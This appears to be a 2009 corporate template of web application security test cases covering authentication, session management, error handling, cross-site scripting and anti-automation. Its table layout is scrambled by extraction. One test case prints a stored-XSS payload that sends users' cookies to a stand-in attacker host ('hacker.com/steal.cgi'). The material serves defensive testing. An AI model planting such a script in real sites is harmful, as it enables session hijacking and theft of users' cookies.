Professional Documents
Culture Documents
http://www.il.com.sa
15 February 2009
© 2009, Interactive Saudi Arabia Limited. All rights reserved. This document or any part thereof may not, without the written consent of Interactive Saudi Arabia Limited (ISA),
be copied, reprinted, or reproduced in any material from, including but not limited to photocopying, tanscribing, transmitting, or sorting it in any medium or translationg it into any
language, in any form or by any means, be it electronic, mechanical, xerographic, optical, magnatic or otherwise.
The information contained in this document is proprietry and confidential; all copyrights, trademarks, trade names, patents and other intellectual property rights in the
documentation are the exclusive propery of ISA unless otherwise specified. The information (including but not limited to data, drawings, specification and documentation) shall
not at any time, be disclosed directly or indirectly to any third party without the prior written consent of ISA.
The information contained herein is believed to be accurate and reliable. ISA accepts no repsonsibility for its use by any means or in any way whatsoever. The indormation
contained herein is subject to change without notice.
Security Test Cases
Description
Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of
improper design or coding issues. This document doesn’t provide the complete list of all the vulnerabilities
Test should be designed considering the following points
The different vulnerabilities for which web application should be tested are as follows:
Authentication
Session Management
Error handling
Cross Site scripting
Anti-Automation
1- Authentication
Pre-condition
Post-condition
Description
Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only
alphabets, small length password
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
1 Website 1-check complexity
registration
page
Post-condition
Description
Some websites doesn’t allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute
Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
4 User login page 1-check account lockout
happens after few
unsuccessful attempts
Post-condition
Description
The attack happens when the attacker illegally obtain, change another users password.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
7 Change/Forgott 1-check that change
en password password screen have old
screen password field mandatory
8 2-check to ensure that
password field doesn’t have
Auto complete feature
“ON”
9 3-check the new password is
not displayed in the screen
but is send to user mail id
10 4- Check to see that account
gets locked if user tried to
enter old password incorrect
for more than 3 attempts.
2- Session Management
Description
Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on
client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or
across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-
Post-condition
Description
The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can
reuse the same.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
11 All application Check that the application
pages logs off or session is expired
after some time.
b- Session Hijacking
Pre-condition
Post-condition
Description
If session ids are predictable, it is possibility that attacker can guess the session id and can use it.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
12 Any page after 1- Check whether session
login ids are predictable.
13 2-Check multiple session of
same user is not allowed
14 3- Check important data is
transferred using HTTPS
protocol
3- Error Handling
Description
It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information
disclosure attack. The various attacks that can happen are:-
a- Path Traversal
Pre-condition
Post-condition
Description
Techniques used to access the files and folder which are outside the web root directory.
If you have a website http://PCS.com/ex.html , just change the URL to point to some file which is not present for example
http://PCS.com/any.html if the error message thrown is something like file notavailable.html is not present in C:\test\webapp. Then
error message has disclosed very important information to the attacker showing the directory structure of web server. This can be
exploited by an attacker for accessing files and folders that resides outside the root directory.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
15 Accessing the Check to validate the proper
password file access control mechanism
from the server on the server. Test should be
done so that error message
doesn’t reveal too much of
information. Test to validate
the input URL.
b- Predictable resource location
Pre-condition
Post-condition
Description
Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file
naming convention which makes the content more predictable.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
16 1-Technique Check files are not stored in
used to gain sequential manner. Test for
access to hidden access control mechanism.
content Test for predictable folder
2- use of structure and files within
sequential files them.
in a folder for example
www.PCS.com/myfiles/fil1.
txt
www.PCS.com/myfiles/fil2.
txt
www.PCS.com/myfiles/fil3.
txt
4- Cross Site Scripting
Description
In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The
different attacks that can happen are:-
Post-condition
Description
In this the input is entered in some fields on the client machine which is echoed back from the server
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
17 User
registration 1-Check that proper
page validation is done from the
server side Give the input
<script>Hello World
</script>. When the form is
submitted, the server echoes
back and the script is
executed showing the dialog
box “Hello World’
18 2- Test to check the inputs
doesn’t accepts the special
character like <>
Post-condition
Description
In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is
redirected to some other page and this can result in session ID hijacking.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
20 Mail forum Check scripting is allowed
or not.
The mail is Test for input validation so
stored in the that it doesn’t contain
server with special characters. Special
input <script> characters are encoded.
document.locati
on.replace
('http://hacker.c
om/steal.cgi?'+d
ocument.
cookie) ;<
/script>">. This
redirects the
user to attacker
site and the
cookie is stolen
5- Anti-Automation
Pre-condition
Post-condition
Description
Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually.
This can even result in denial of service for some functionality.
Steps
Step Type Description Expected Actual, if different from P/F Date By
Expected
{Test Case {Test Step {Description/Instruction on {The expected result from {The actual result after the {Pass/ {Date {Tester
Step Number Type } what to do in this Test Step} executing the Test Step} Test Step was executed. If Failed} Test Step Initial}
- i.e. 1} different from the Test Step} was
executed}
21 User 1-Check that registration
registration process cannot be
page automated, it should include
the manual entry also.
Test to see if CAPTCHA is
used.
Test for avoiding Brute
force attack.